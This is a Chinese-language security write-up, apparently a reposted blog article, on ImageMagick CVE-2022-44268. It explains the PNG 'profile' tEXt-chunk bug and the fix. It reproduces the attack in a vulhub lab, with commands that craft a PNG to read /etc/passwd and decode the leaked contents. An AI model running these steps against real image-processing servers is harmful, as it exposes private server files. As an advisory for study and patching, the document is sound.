(CVE-2022-44268)ImageMagick 任意文件读取漏洞
2023-3-2 23:3:26 Author: 才疏学浅的H6(查看原文) 阅读量:29 收藏

漏洞说明

当使用ImageMagic解析png文件时,生成的图片有可能嵌入本地的任意文件内容。恶意攻击者可通过现有的png添加恶意文件块类型。如果关键字是字符串“profile”,则ImageMagick会将文本字符串解释为文件名,并将其内容加载为原始配置文件。攻击者可以下载被ImageMagick编辑后的图片文件,并可从该文件中读取先前指定的文件内容。

ImageMagick

ImageMagick是一个免费的创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。ImageMagick是免费软件:全部源码开放,可以自由使用,复制,修改,发布,它遵守GPL许可协议,可以运行于大多数的操作系统,ImageMagick的大多数功能的使用都来源于命令行工具

PNG

PNG是20世纪90年代中期开始开发的图像文件存储格式,其目的是替代GIF和TIFF文件格式,同时增加一些GIF文件格式所不具备的特性。流式网络图形格式(Portable Network Graphic Format,PNG)名称来源于非官方的“PNG’s Not GIF”,是一种位图文件(bitmap file)存储格式,读成“ping”。PNG用来存储灰度图像时,灰度图像的深度可多到16位,存储彩色图像时,彩色图像的深度可多到48位,并且还可存储多到16位的α通道数据。PNG使用从LZ77派生的无损数据压缩算法。

PNG的文件结构是由文件署名和数据块组成的

  • 文件署名

PNG的文件署名固定为:89504e470d0a1a0a 这8字节用来判断文件是否为PNG文件。

  • 数据块

数据块是存在多个的,每个数据块由4个域组成:

  1. 数据域的长度(Length)

  2. 数据块类型码(Chunk Type Code)

  3. Chunk Data (数据块实际内容)

  4. CRC (循环冗余检测)

常见的数据块类型有:

  1. 文件头数据块IHDR

  2. 调色板数据块PLTE

  3. 图像数据块IDAT

  4. 图像结束数据IEND

除了这四类常见还有一些不常见的:

  1. 背景颜色数据块bKGD

  2. 基色和白色度数据块cHRM

  3. 图像γ数据块gAMA

  4. 图像直方图数据块hIST

  5. 物理像素尺寸数据块pHYs

  6. 样本有效位数据块sBIT

  7. 文本信息数据块tEXt

  8. 图像最后修改时间数据块tIME

  9. 图像透明数据块tRNS

  10. 压缩文本数据块zTXt

这次的漏洞就是出现在tEXt数据块中,当ImageMagic解析PNG时在tExt数据块中检测到关键字为"profile"后,就会奖profile的值作为文件名,然后去读取文件的内容并保存在新生成的的图片中。

影响版本

7.1.0-49<=ImageMagick < 7.1.0-52

漏洞复现

环境搭建使用P🐮的vulhub进行启动:

https://github.com/vulhub/vulhub/tree/master/imagemagick/CVE-2022-44268

docker-compose up -d

启动后访问http://ip:8080

  1. 可以使用P🐮提供的poc来生成图片

python3 poc.py generate -o poc.png -r /etc/passwd

将生成的图片上传上去。再下载处理后的图片

使用poc.py提取内容:

python3 poc.py parse -i result.png

2. 也可以使用pngcrush 生成图片

pngcrush -text a "profile" "/etc/passwd" poc.png

默认会生成pngout.png,上传该图片到服务器,再下载处理后的图片

读取处理后的图片

identify -verbose pngresult.png


复制这段内容,使用python进行解码

print(bytes.fromhex(text).decode("utf-8"))

修复建议

ImageMagick 7.1.0-52已修复该漏洞,可升级到修复版本以修复该问题:

https://github.com/ImageMagick/ImageMagick/releases

参考

https://wx.zsxq.com/dweb2/index/topic_detail/814821425482142

https://blog.csdn.net/suyimin2010/article/details/126042468

https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC

本文章仅用于学习交流,不得用于非法用途


文章来源: http://mp.weixin.qq.com/s?__biz=MzkyMjE3MjEyNQ==&mid=2247486014&idx=1&sn=70fb587106118c8b27cafd830b269435&chksm=c1f9258cf68eac9aaed530b0fd20af0e843825433496b8ae852cdcbba2be75262730d72a4418#rd
如有侵权请联系:admin#unsafe.sh